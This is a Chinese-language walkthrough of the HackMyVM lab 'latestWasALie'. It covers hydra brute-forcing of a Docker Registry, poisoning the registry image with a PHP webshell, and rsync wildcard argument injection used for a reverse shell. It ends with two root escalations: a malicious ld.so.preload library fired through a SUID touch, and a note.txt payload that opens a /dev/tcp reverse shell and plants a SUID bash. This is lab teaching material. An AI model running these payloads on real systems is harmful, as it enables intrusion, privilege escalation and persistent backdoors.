【HackMyVM】latestWasALie

【HackMyVM】latestWasALie

探测主机

nmap -sn 192.168.1.0/24

信息收集

收集192.168.1.9的端口信息

nmap -sC -sS -A -T4 --min-rate 10000 192.168.1.9

有2个web服务

80端口

访问80端口,没一会就会自动跳转到latestwasalie.hmv还显示无法访问

估计要设置主机头信息

设置下host

然后访问,就可以成功加载页面

http://latestwasalie.hmv/

底部有一个注释信息,先记录下

adm

目录爆破

我们对网站进行目录爆破

可以看到提示,也印证了需要加主机头信息

现在没啥线索,换到5000端口

5000端口

通过刚刚的信息收集可以知道是Docker Registry服务

查找关于这个服务的信息

5000 - Pentesting Docker Registry - HackTricks

说是有一个/v2/_catalog信息

访问下但是需要凭据

hydra爆破Docker registry认证

我们在80端口有收集到adm这个名字,尝试作为账户进行爆破

# -s 5000 :指定5000端口 # -V:显示每次爆破的账户和密码 # -f:找到正确凭据就停止爆破 hydra -l adm -P /usr/share/wordlists/rockyou.txt 192.168.1.9 -s 5000 http-get /v2/ -V -f

成功得到账户密码

adm lover1

Docker镜像投毒

获取Docker仓库有镜像

也可以使用curl进行获取

# -k:跳过证书验证 # -u:提供凭据完成Basic Auth认证 curl -k -u adm:lover1 http://192.168.1.9:5000/v2/_catalog

查询Docker镜像版本标签

查看镜像有哪些tags

curl -k -u adm:lover1 http://192.168.1.9:5000/v2/latestwasalie-web/tags/list

可以看到就一个latest版本

拉取Docker镜像

我们先登录到192.168.1.9的docker

会出现Error报错,因为Docker需要https,但是我们的靶机是http

编辑/etc/docker/daemon.json文件,添加以下内容,信任192.168.1.9这个http源

{ "insecure-registries": ["192.168.1.9:5000"] }

然后重启下服务

sudo systemctl daemon-reload sudo systemctl restart docker

然后就可以成功登录

将远端的镜像拉取下来

docker pull 192.168.1.9:5000/latestwasalie-web

镜像投毒

我们对刚刚下载的镜像进行投毒

docker run -it --name tmp_container 192.168.1.9:5000/latestwasalie-web /bin/bash

总共有3个文件夹,分别看看都有什么东西

可以看到其中default就是我们靶机80端口的网站

写一个info.php,先看看网站都禁用了什么函数

然后我们把我们修改后的镜像重新打包上传回到192.168.1.9

服务器有镜像同步机制,我们上传有毒的镜像之后,服务器会自动部署

# 修改镜像 docker commit tmp_container 192.168.1.9:5000/latestwasalie-web # 将本地本地镜像进行推送 docker push 192.168.1.9:5000/latestwasalie-web

访问http://192.168.1.9/info.php就可以看到info.php成功写入

发现没有禁止eval,那么直接写入webshell

还是一样修改本地的容器,推送上去

过一会就可以看到webshell成功写入

可以连接成功,但是命令执行被禁了

在这个源码中看到有一个/data/目录

<?php $exportDir = '/data/exports'; $stateDir = '/data/state'; $maxFiles = (int)(getenv('EXPORT_MAX_FILES') ?: '20'); $minInterval = (int)(getenv('EXPORT_MIN_INTERVAL') ?: '10'); if (!is_dir($exportDir)) { http_response_code(500); echo "Export directory not available."; exit; } if (!is_dir($stateDir)) { http_response_code(500); echo "State directory not available."; exit; } $lockFilePath = $stateDir . '/export.lock'; $stampFilePath = $stateDir . '/last_export.timestamp'; $lockHandle = fopen($lockFilePath, 'c+'); if ($lockHandle === false) { http_response_code(500); echo "Could not initialize export lock."; exit; } if (!flock($lockHandle, LOCK_EX)) { http_response_code(500); echo "Could not acquire export lock."; fclose($lockHandle); exit; } try { $now = time(); $lastExport = 0; if (file_exists($stampFilePath)) { $raw = trim((string)file_get_contents($stampFilePath)); if (ctype_digit($raw)) { $lastExport = (int)$raw; } } if (($now - $lastExport) < $minInterval) { http_response_code(429); $wait = $minInterval - ($now - $lastExport); echo "<h1>Too many requests</h1>"; echo "<p>Please wait {$wait} seconds before creating another export.</p>"; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } $files = glob($exportDir . '/report_*.txt'); if ($files === false) { $files = []; } usort($files, function ($a, $b) { return filemtime($a) <=> filemtime($b); }); while (count($files) >= $maxFiles) { $oldest = array_shift($files); if ($oldest !== null && is_file($oldest)) { @unlink($oldest); } } $filename = 'report_' . date('Ymd_His') . '_' . bin2hex(random_bytes(3)) . '.txt'; $filePath = $exportDir . '/' . $filename; $content = "latestWasALie export\n"; $content .= "Generated: " . date('c') . "\n"; $content .= "Version: " . htmlspecialchars(getenv('APP_VERSION') ?: 'unknown', ENT_QUOTES, 'UTF-8') . "\n"; $content .= "RemoteAddr: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown') . "\n"; if (file_put_contents($filePath, $content, LOCK_EX) === false) { http_response_code(500); echo "Could not write export file."; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } file_put_contents($stampFilePath, (string)$now, LOCK_EX); echo "<h1>Export created</h1>"; echo "<p>File: " . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8') . "</p>"; echo "<p>Current limit: " . (int)$maxFiles . " files, one export every " . (int)$minInterval . " seconds.</p>"; flock($lockHandle, LOCK_UN); fclose($lockHandle); } catch (Throwable $e) { http_response_code(500); echo "Unhandled export error."; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } ?>

打开相应的目录看到rsync_cmd文件

rsync 参数注入

命令作用:使用backupusr的 ED25519 私钥通过 SSH 本地加密通道,以归档模式、详细日志输出,把当前目录全部.txt文件增量同步到本机 /home/backupusr/backup/ 目录下,完整保留文件所有属性。

rsync -e 'ssh -i /home/backupusr/.ssh/id_ed25519' -av *.txt localhost:/home/backupusr/backup/

当sync与*进行组合时,就会出现参数注入,参考资料:Back To The Future: Unix Wildcards Gone Wild

我们新建一个a.txt把反弹shell 的命令写进入

busybox+nc 反弹shell

然后再创建一个特殊的文件进行命令注入

等靶机进行同步,我们就可以得到一个shell

Get User Flag

得到user flag

写入公钥

在刚刚的sync中,我们是有看到.ssh目录

/home/backupusr/.ssh/id_ed25519

我们把我们的公钥写入到authorized_keys,这样就可以登录到backupusr用户

我们在kali上生成一个密钥

ssh-keygen

然后获取刚刚生成好的公钥,输入到靶机的authorized_keys中

然后ssh直接连接靶机,注意这里要使用靶机的用户名,而不是你自己的

ssh backupus@192.168.1.9

Root链A:touch + /etc/ld.so.preload

查找SUID文件

find / -perm -4000 -type f 2>/dev/null

发现有touch,那么我们可以通过touch来修改/etc/ld.so.preload来get root shell

创建一个/etc/ld.so.preload

/usr/bin/touch /etc/ld.so.preload ls -l /etc/ld.so.preload

/etc/ld.so.preload是动态链接器全局配置文件,ld 会先读取这个文件,里面写了哪些 .so 库,就会优先加载这些库

那么我们写一个恶意的so文件,并把这个so文件放入到/etc/ld.so.preload中

preload_home.c文件内容如下:

#define _GNU_SOURCE #include <unistd.h> #include <sys/stat.h> __attribute__((constructor)) void init(void) { setgid(0); setuid(0); unlink("/etc/ld.so.preload"); chown("/home/backupusr/rootbash", 0, 0); chmod("/home/backupusr/rootbash", 04755); }

编译成so文件

gcc -shared -fPIC -nostartfiles -o preload_home.so preload_home.c

在kali上将这个恶意的so文件传递到靶机上

使用scp 传递文件

# -F /dev/null:不加载任何ssh config配置文件 # -i ~/.ssh/id_ed25519:使用私钥进行登录SSH scp -F /dev/null -i ~/.ssh/id_ed25519 preload_home.so backupusr@192.168.1.9:/home/backupusr/preload_home.so

然后在靶机上运行如下命令

# 将/bin/bash复制一份,作为root后面载体 cp /bin/bash /home/backupusr/rootbash # 给后门添加权限 chmod 755 /home/backupusr/rootbash # 创建一个空白/etc/ld.so.preload文件 /usr/bin/touch /etc/ld.so.preload # 把我们恶意的so文件写入到ld.so.preload中 printf "/home/backupusr/preload_home.so\n" > /etc/ld.so.preload # 执行touch命令触发下,因为touch使用时会动态加载库,所会激活加载/etc/ld.so.preload里面的so文件 # Linux 安全机制:普通无 SUID 程序会忽略 /etc/ld.so.preload,只有 SUID/SGID 程序才会正常加载预加载库,所以这里必须用 SUID touch 作为触发载体。 /usr/bin/touch /home/backupusr/trigger_preload # bash 默认有安全机制:运行带 SUID 的 bash 时,会自动丢弃有效 UID (root),变回普通用户权限。使用-p 则保留SUID权限,不会降权 # -c 代表:不进入交互式 shell,直接执行引号内的一串命令,执行完毕立刻退出。 /home/backupusr/rootbash -p -c 'id; whoami; ls -la /root; cat /root/root.txt 2>&1'

成功得到root shell

小细节:/tmp 在该靶机上有 nosuid,所以 SUID bash 放在 /tmp 不会生效;改放到 /home/backupusr/rootbash 后即可正常 bash -p

Root 链 B:/root/backups.sh + /opt/registry/note.txt 通配符注入

查找当权用户可写入的文件/文件夹,找到提取突破口

# 查找当前用户可写入的文件/文件夹 find / -writable 2>/dev/null | grep -v -E '(proc|sys|dev|tmp|run)' find / -name note.txt -ls 2>/dev/null

可以看到/opt/registry/note.txt是所有人可读可写的

上传pspy查找定时任务,寻找提权突破口

SSH执行命令

scp -F /dev/null -i ~/.ssh/id_ed25519 pspy64 backupusr@192.168.1.9:/home/backupusr/pspy64 ssh -F /dev/null -i ~/.ssh/id_ed25519 backupusr@192.168.1.9 'chmod +x /home/backupusr/pspy64; timeout 380 /home/backupusr/pspy64 -p -i 100 --ppid'

我们着重关注UID=0(蓝色部分)的进程,可以看到也有一个rsync,跟UID=1000(backupusr)的命令几乎一致

那么就可以猜测,root账户也有一个rsync命令注入漏洞

那么我们可以用同样的手法来反弹一个root shell

可以看到root的那个/root/backup.sh备份的目标就是/opt/registry

可以直接修改note.txt,note.txt是可写的

或者我们可以直接使用touch创建一个新的txt也可以

使用cat写入内容

payload内容就是生成一个root_note_bash后面,再反弹一个root shell

# 写入payload cat > /opt/registry/note.txt <<'PAYLOAD' #!/bin/sh { echo "[+] note.txt root payload ran at $(date) id=$(id) cwd=$(pwd) args=$*" cp /bin/bash /home/backupusr/root_note_bash chown root:root /home/backupusr/root_note_bash chmod 4755 /home/backupusr/root_note_bash /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.7/4447 0>&1" & } >> /home/backupusr/note_root.log 2>&1 exit 1 PAYLOAD # 创建特殊文件 /usr/bin/touch "/opt/registry/-e sh note.txt" # 查看文件 ls -la /opt/registry

我们kali开启监听

过一会就可以得到root shell

同样也可以直接使用目录下的root_note_bash,但是注意要加上-p参数(--privileged)